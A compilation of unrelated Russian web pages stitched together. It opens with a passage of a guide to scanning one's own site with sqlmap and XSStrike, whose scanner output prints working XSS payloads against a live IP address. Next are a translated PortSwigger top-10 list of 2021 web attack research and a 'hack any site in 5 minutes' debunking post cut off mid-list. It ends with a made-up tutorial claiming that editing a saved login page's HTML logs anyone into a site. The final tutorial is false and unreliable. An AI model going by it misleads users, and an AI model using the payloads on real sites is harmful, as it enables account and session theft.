Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.
Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.
5. Проверка на XSS уязвимости.
Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.
После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:
- Внедрять свои скрипты в веб-страницу
- Отправлять на свой сервер пользовательские данные — банковские карты, идентификаторы сессий, пароли и тд.
- Совершать действия от имени пользователя — рассылать спам, совершать денежные переводы
Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.
Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.
В данном случае для тестирования мы воспользуемся утилитой XSStrike
ХSStrike — это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.
Установка
Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:
pip3 install pygame
Установим необходимые для корректной работы библиотеки:
pip3 install -r requirements.txt
Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:
python xsstrike.py -u «http://161.35.92.161/index.php?page=2» —blind
Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: page
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
————————————————————
[+] Payload: <HTmL%0aONmOuSEoVeR+=+(prompt)«%0dx//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n
Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию —data.
python xsstrike.py -u «http://161.35.92.161/index.php» —data «name=&message=» —blind
Результат: параметр name уязвим.
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 4608
————————————————————
[+] Payload: <A%0aOnmOUSeOVEr%0d=%0d(prompt)«%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]
Как выглядит ответ, когда скрипт не находит уязвимых параметров:
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
[!] Testing parameter: message
[-] No reflection found
Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция —headers
python xsstrike.py -u «http://161.35.92.161/index.php» —data «name=&message=» —headers «Authorization: Bearer <token> Cookie: zmname=none» —blind
Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.
python xsstrike.py -u «http://161.35.92.161» —blind —crawl -l 100
Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.
[~] Crawling the target
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for message: <htMl%09oNMOuseoVER%0d=%0dconfirm()//
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for page: <hTMl%0donPointereNter%0a=%0a[8].find(confirm)>
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for name: <D3v/+/oNMoUSeoveR%0a=%0a(confirm)()%0dx>v3dm0s
!] Progress: 3/3
Также полезная функция — обход url страниц, которые указаны в файле с помощью опции —seeds. Можно также использовать вместе с опцией —headers.
python xsstrike.py -u «http://example.com» -l 3 —seeds urls.txt
Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.
Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .
Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.
Заключение
Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.
Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.
Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92
Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!
Время на прочтение
7 мин
Количество просмотров 8.1K
Добро пожаловать в топ-10 новых методов веб-взлома 2021 года. Это заключительный этап ежегодной работы нашего сообщества. Цель работы — выявить самые значимые в области веб-безопасности, опубликованные в 2021 году.
PortSwigger — разработчик инструментов для этичного хакинга, работа с которыми — часть нашего курса по этичному взлому.
Отбор стартовал в январе. Сообществом инфобеза было представлено 40 исследовательских работ, из которых после голосования осталось 15 кандидатов на попадание в финальный раунд. Чтобы определить официальный топ-10, экспертная группа, состоящая из известных исследователей Николя Грегуара, Соруша Далили, Filedescriptor и вашего покорного слуги, голосовала за 15 финалистов. Как обычно, мы не исключили исследование PortSwigger, но экспертная группа не может голосовать за работу, к которой имеет отношение.
Качество исследований в этом году было, прямо скажем, исключительным, то есть самым высоким с 2015 года, когда я начал участвовать. Это привело к жёсткой конкуренции за попадание в топ-10, из-за чего многих исследовательских работ высокого качества там не оказалось.
Обычно я называю нескольких фаворитов, но в этом году их слишком много, поэтому рекомендую вам изучить полный список номинантов. Огромное спасибо всем, кто внёс свой вклад в эту волну исследований!
В этом году — как среди всех участников, так и в финальной десятке — преобладала одна конкретная тема: HTTP Request Smuggling (далее — несанкционированные HTTP-запросы) и в целом атаки, направленные на несоответствия в работе синтаксического анализа.
По мере того как системы становятся всё более сложными и взаимосвязанными, эти угрозы растут. Интересно посмотреть, куда переместится поле битвы синтаксических анализаторов через несколько десятилетий, когда HTTP/1.1 станут использовать меньше. Начинаем обратный отсчёт!
10. Fuzzing for XSS via nested parsers («Автоматизированное тестирование с различными входными данными (фаззинг) для XSS с помощью вложенных парсеров»)
С такой древней темой, как XSS, легко решить, что уже всё знаешь, и сразу отвергнуть новое исследование. Но, натолкнувшись на эту жемчужину, убеждаешься, что это риск.
Автор Psych0tr1a показывает, как противопоставить друг другу правила очистки HTML с зеркальными результатами. В этом посте нет ничего лишнего, а впечатляющие примеры и чёткая практичная методология превращают его в высококлассное исследование.
9. HTTP Smuggling via Higher HTTP Versions («Несанкционированные HTTP-запросы через более поздние версии HTTP»)
В начале 2021 года считалось, что у HTTP/2, по большому счёту, нет проблем с безопасностью, кроме атак по времени и небольших DDOS-атак. Эмиль Лернер разрушил этот миф и, используя специальные инструменты и инновационные методы, выявил многочисленные дыры при переходе от HTTP/2 к HTTP/1.1. В его работе HTTP Smuggling via Higher HTTP Versions («Несанкционированные HTTP-запросы через более поздние версии HTTP») представлено много новых видов атак. И обязательно ознакомьтесь с презентацией [на русском языке]. Кроме того, недавно Эмиль написал статью об ужасающих находках в HTTP/3.
8. Practical HTTP Header Smuggling («Несанкционированные HTTP-заголовки на практике»)
Уязвимость может быть распространённой, хорошо изученной и иметь сильное влияние, но если никто не знает, как её обнаружить, то может возникнуть соблазн просто… переориентироваться на что-то более прибыльное. Несанкционированные запросы с двойной длиной содержимого уже давно тихо скрывалась в этой скрытой нише.
В работе Practical HTTP Header Smuggling Дэниел Тэтчер выделяет основной компонент несанкционированных запросов HTTP и элегантно преобразует его в стратегию, позволяющую выявлять уязвимости с двойной длиной содержимого и типичные атаки со скрытыми заголовками. И всё это интегрировано в Param Miner.
Если у вас есть сомнения относительно ценности этой методологии, они развеиваются примерами для AWS. Вы ещё узнаете об этом методе.
7. JSON Interoperability Vulnerabilities («Уязвимости межъязыкового взаимодействия в JSON»)
JSON давно известен своими странностями, но ему в основном удалось избегать шквала эксплойтов, влияющих на синтаксический анализ XML. Однако, каким бы ни был формат, если анализировать что-то дважды, что-нибудь пойдёт не так.
Джейк Миллер, автор работы JSON Interoperability Vulnerabilities подробно рассматривает, как вызвать несоответствия в работе синтаксического анализатора JSON и где этими обычно безобидными странностями могут воспользоваться как уязвимостями. С помощью специальных лабораторий на основе Docker эти уязвимости легко воспроизводить и применять на практике.
6. Cache Poisoning at Scale («Масштабное отравление кеша»)
Примеры определяют успех исследования, и в Cache Poisoning at Scale («Масштабное отравление кеша») их очень много. Youstin доказывает, что отравление веб-кеша по-прежнему носит массовый характер, однако легко остаётся незамеченным.
Исследователи часто обходят вниманием DDOS-уязвимости, но постоянные атаки по одному запросу, происходящие при отравлении веб-кеша, многими компаниями воспринимаются всерьёз.
В этой работе показано, как крошечные несоответствия, скрытые заголовки и неправильные настройки можно искусно объединить, чтобы создать серьёзную уязвимость.
5. Hidden OAuth attack vectors («Скрытые векторы атаки через OAuth»)
Хакеры обычно нацеливаются на конечные точки — они либо видны сразу, либо обнаруживаются при разведке. В работе Hidden OAuth attack vectors автор Михаил Степанкин (@Artsploit на Хабре) использует альтернативный подход и подробно рассматривает спецификации OAuth и OpenID, чтобы выявить скрытые конечные точки и недостатки дизайна, — основу для атак перечислением, отравления сеанса и подделки запросов на стороне сервера. Михаил Степанкин также обновил ActiveScan++ и Burp (файлы с наборами значений для проверки корректности учётных данных), чтобы автоматически отслеживать такие атаки и не дать им проскользнуть незамеченным.
4. Exploiting Client-Side Prototype Pollution in the wild («Использование загрязнения прототипа на стороне клиента на практике»)
Охарактеризованное Filedescriptor как «пожалуй, не самый популярный класс ошибок, так как используется лишь изредка», загрязнение прототипа было, строго говоря, методом для энтузиастов, пока не появилась A tale of making internet pollution free — Exploiting Client-Side Prototype Pollution in the wild («История о том, как освободить интернет от загрязнения. Практическое использование загрязнения прототипа на стороне клиента»).
В этом феноменальном исследовании определяется чёткая, продуманная методология идентификации и эксплуатации уязвимости. Кроме того, работа выделяется звёздным коллективом авторов под руководством s1r1us. По меткому замечанию Soroush, «это как смотреть «Мстителей»!»
3. A New Attack Surface on MS Exchange («Новая поверхность атаки на MS Exchange»)
Орандж Цай с серией статей из 3 частей A New Attack Surface on MS Exchange в топ-10 уже 5-й год подряд. В большинстве исследований акцент делается на выявлении общих для многочисленных веб-сайтов классов уязвимостей. В этой же работе поразительно глубоко рассматривается одна цель с катастрофическими результатами атаки.
Эта работа очень понравилась всем экспертам. Они охарактеризовали её как «безупречное введение в архитектуру Exchange и поверхность атаки с надёжными эксплойтами и огромным влиянием», «вдохновляющее чтение, если вы хотите начать серьёзные исследования», и «осиное гнездо» для специалистов по безопасности, после которого «многие по-иному взглянут на это популярное почтовое решение и поймут, что даже самые безопасные на вид приложения могут быть легко взломаны, если быть настойчивым и обращать внимание на все детали».
2. HTTP/2: The Sequel is Always Worse («HTTP/2: Продолжение всегда хуже»)
Девять месяцев я готовил собственную работу HTTP/2: The Sequel is Always Worse, и оказалось, что её тема совпадает с темой работы Эмиля выше, но в последний момент положение спасли прорывные результаты.
Вот что сказали другие эксперты: «Всегда было интересно, что может пойти не так при преобразовании между бинарными и ASCII-протоколами <…> В этом исследовании есть всё, что нужно читателю. Кроме самого исследования и результата совершенно особенной эту работу делают качественный материал, инструментарий и презентация». «Это хорошее исследование о том, как сильно HTTP/2 осложняет всю ситуацию. Переход на HTTP/2 продолжается, поэтому несанкционированные запросы станут ещё актуальнее благодаря бесконечным повышениям/понижениям версий HTTP».
Если вам понравилась эта презентация, очень рекомендую ознакомиться и с другими высококачественными исследовательскими работами по HTTP Request Smuggling в полном списке номинантов — просто нажмите «CTRL+F» и введите «smuggling»!
1. Dependency Confusion («Путаница зависимостей»)
Некоторые (лучшие) исследования отличаются элегантной простотой, которая обманывает очевидностью. В работе «Путаница зависимостей» [ссылка на наш перевод] Алекс Бирсан раскрывает критические недостатки дизайна и конфигурации основных пакетных менеджеров, используя неоднозначность имён пакетов, чтобы удалённо выполнить код и получить вознаграждение более 100 тысяч долларов за один баг от многих крупных компаний. Кроме сумасшедших результатов в работе на протяжении всего исследования читателю даётся исключительно хорошее объяснение.
Обсуждения этой атаки и мер по смягчению её последствий ещё продолжаются. Очень любопытно увидеть, куда повернёт это направление исследований. Неужели атака настолько элегантна, что её нельзя усовершенствовать? Или это лишь скромное начало нового постоянного класса атак? В одном мы уверены: если выбирать для чтения только одно из этих исследований, выберите Dependency Confusion. Поздравляем Алекса с заслуженной победой!
Заключение
2021 год был действительно хорош для исследований в области веб-безопасности.
Топ-10 этого года — только вершина айсберга, и мы рекомендуем ознакомиться с полным списком номинантов. Топ-10 2020 года тоже стоит посмотреть. Вы также можете знакомиться с лучшими исследованиями этого года в момент их выхода, подписавшись на r/websecurityresearch и @PortSwiggerRes.
Кроме того, если вы сами хотите провести такого рода исследование, я написал несколько рекомендаций. И в заключение нужно упомянуть неоднократно номинированную ультрамодную технику взлома, известную как «F12». К сожалению, она не прошла отбор.
Ещё раз спасибо всем, кто принял участие! Без вашего участия, ваших голосов и, самое главное, исследований это было бы невозможно. До следующего раза!
Продолжить изучение информационной безопасности и веб-разработки вы сможете на наших курсах:
-
Профессия Этичный хакер (12 месяцев)
-
Профессия Fullstack-разработчик на Python (15 месяцев)
Выбрать другую востребованную профессию.
Как взломать любой сайт за 5 минут
1 июня, 2023
В интернете много статей и видео, которые обещают научить вас взломать любой сайт за 5 минут. Они утверждают, что вам нужно только скачать какую-то программу, ввести адрес сайта и нажать кнопку “Взломать”. Звучит заманчиво, не правда ли? Но насколько это реально и безопасно?
В этом посте я расскажу вам правду о том, что такое взлом сайтов, какие методы и инструменты используют хакеры и почему вы не сможете сделать это за 5 минут. Я также дам вам несколько советов, как защитить свой сайт от атак и как не попасться на удочку мошенников.
Что такое взлом сайта?
Взлом сайта — это несанкционированный доступ к его данным или функциям с целью изменить, украсть или повредить их. Взлом сайта может иметь разные мотивы: шантаж, кража личной информации, распространение вирусов, политический протест, конкурентное преимущество и т.д.
Взлом сайта — это сложный и творческий процесс, который требует знаний, опыта и умения анализировать и эксплуатировать уязвимости в коде, настройках или поведении сайта. Хакеры используют разные методы и инструменты для взлома сайтов, например:
- SQL-инъекция — это техника, которая позволяет внедрить злонамеренный код в запрос к базе данных сайта и получить доступ к ее содержимому или изменить его.
- XSS-атака — это техника, которая позволяет внедрить злонамеренный код в веб-страницу сайта и выполнить его в браузере посетителя. Это может привести к краже куков, сессий или других данных пользователя.
- Перебор паролей — это техника, которая позволяет подобрать правильный пароль к аккаунту администратора или пользователя сайта путем перебора разных комбинаций символов.
- DDoS-атака — это техника, которая позволяет заблокировать доступ к сайту путем создания большого количества фальшивых запросов к нему. Это может привести к перегрузке сервера или сети и снижению производительности или недоступности сайта.
Это лишь некоторые из самых распространенных методов взлома сайтов. Существуют и другие, более сложные и изощренные. Каждый метод требует разного времени и ресурсов для его реализации. Некоторые могут занять несколько минут, другие — несколько часов или дней.
Почему вы не сможете взломать любой сайт за 5 минут?
Если вы думаете, что сможете взломать любой сайт за 5 минут с помощью какой-то программы или сервиса из интернета, то вы ошибаетесь. Вот почему:
- Большинство таких программ или сервисов — это ложь или мошенничество. Они либо не работают, либо содержат вирусы или шпионские программы, которые могут заразить ваш компьютер или украсть вашу информацию. Они также могут потребовать от вас оплату за свои услуги или вымогать деньги за разблокировку вашего компьютера или данных.
- Даже если такая программа или сервис работает, она не гарантирует успеха. Взлом сайта зависит от многих факторов: типа и сложности сайта, его защиты от атак, наличия уязвимостей в коде или настройках и т.д. Некоторые сайты могут быть легко взломаны, другие — очень сложно или невозможно.
- Взлом сайта — это незаконное действие, которое может иметь серьезные последствия. Вы можете нарушить закон о защите персональных данных, авторских прав или другие нормы. Вы можете быть привлечены к ответственности за ущерб, который вы нанесли сайту или его пользователям. Вы можете быть выслежены и арестованы специальными службами или хакерами-мстителями.
Как защитить свой сайт от атак?
Если вы хотите защитить свой сайт от атак хакеров, то вы должны следовать нескольким простым правилам:
- Обновляйте свой код и настройки регулярно. Используйте последние версии CMS (системы управления контентом), плагинов и тем. Исправляйте все найденные ошибки и уязвимости.
- Используйте сложные пароли для своих аккаунтов администратора и пользователя. Не используйте одинаковые пароли для разных сайтов. Не передавайте свои пароли третьим лицам. Используйте двухфакторную аутентификацию при возможности.
- Используйте шифрование для передачи данных между вашим сервером и браузерами посетителей. Используйте SSL-сертификат для вашего домена. Используйте HTTPS-протокол для всех страниц вашего сайта.
- Используйте фильтры и проверки для всех данных, которые вы получаете от посетителей вашего сайта. Не доверяйте всему, что они вводят в формы или отправляют через запросы. Проверяйте корректность и безопасность этих данных перед тем, как использовать их в вашем коде или базе данных.
- Используйте резервное копирование для всех данных вашего сайта. Сохраняйте копии вашего кода и базы данных на отдельном носителе или облачном сервисе. Восстанавливайте данные из резервных копий в случае атаки или повреждения.
Как не попасться на удочку мошенников?
Если вы хотите избежать мошенничества со стороны тех, кто предлагает вам взломать любой сайт за 5 минут, то вы должны быть осторожны и здравомыслящими:
- Не верьте всему, что вы видите или читаете в интернете.
Будьте готовы к цифровой катастрофе — подписывайтесь на наш канал!
Listen to this article
Статья опубликована для ознакомления и не призывает к действию, наша цель защитить вас!
Если у вас есть какие-то знания HTML и JavaScript, вы можете взламывать пароли на защищенных сайтах. Мы расскажем вам о том, как довольно просто взломать сайт через HTML. Используйте данный метод ответственно.
Примечание: Данный метод сработает только в том случае, если у сайта совсем слабая защита. Веб-сайты с более надежной степенью защиты не удастся взломать столь простым способом.
1. Откройте сайт, который вы хотите взломать. Введите неправильную комбинацию логина и пароля. Появится окно с сообщением об ошибке.
2. Нажмите правой кнопкой мыши на странице с ошибкой =>> просмотр исходного кода (просмотр кода страницы).
3. Просмотрите исходный код.Откроется окно с HTML кодом и JavaScript.
•Вы увидите что-то вроде….<_form action=»…Login….»>
•Скопируйте URL ссылку на сайт перед информацией о логине. (например:»< _form……….action=http://www.targetwebsite.com/login…….>»)
4. Удалите JavaScript информацию о сервере.(Делайте это очень осторожно, нужно аккуратно удалить java script, который проверяет информацию вашего сервера)
5. Найдите строчку «<_input name=»password» type=»password»>»[без кавычек] -> наберите «<_type=text> “ вместо «<_type=password>».Посмотрите превышает ли максимальная длина пароля 11 символов.
6. Перейдите в Файл => сохранить как, затем сохраните файл на компьютере с расширением .html (например: c:chan.html).
7. Откройте страницу, нажав на файл chan.html, который вы сохранили на компьютере.На текущей странице, если сравнить с исходной, будут некоторые изменения. Не стоит переживать.
8. Наберите любой логин и пароль.Поздравляем, вы взломали сайт и вошли под пользователем, который теперь есть в базе данных!
Предупреждения
- Осторожно обращайтесь с кодами. Удалите информацию javascript, которая отвечает за проверку логина и пароля.
Если Вам понравилась статья — поделитесь с друзьями
17 318 просмотров
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.
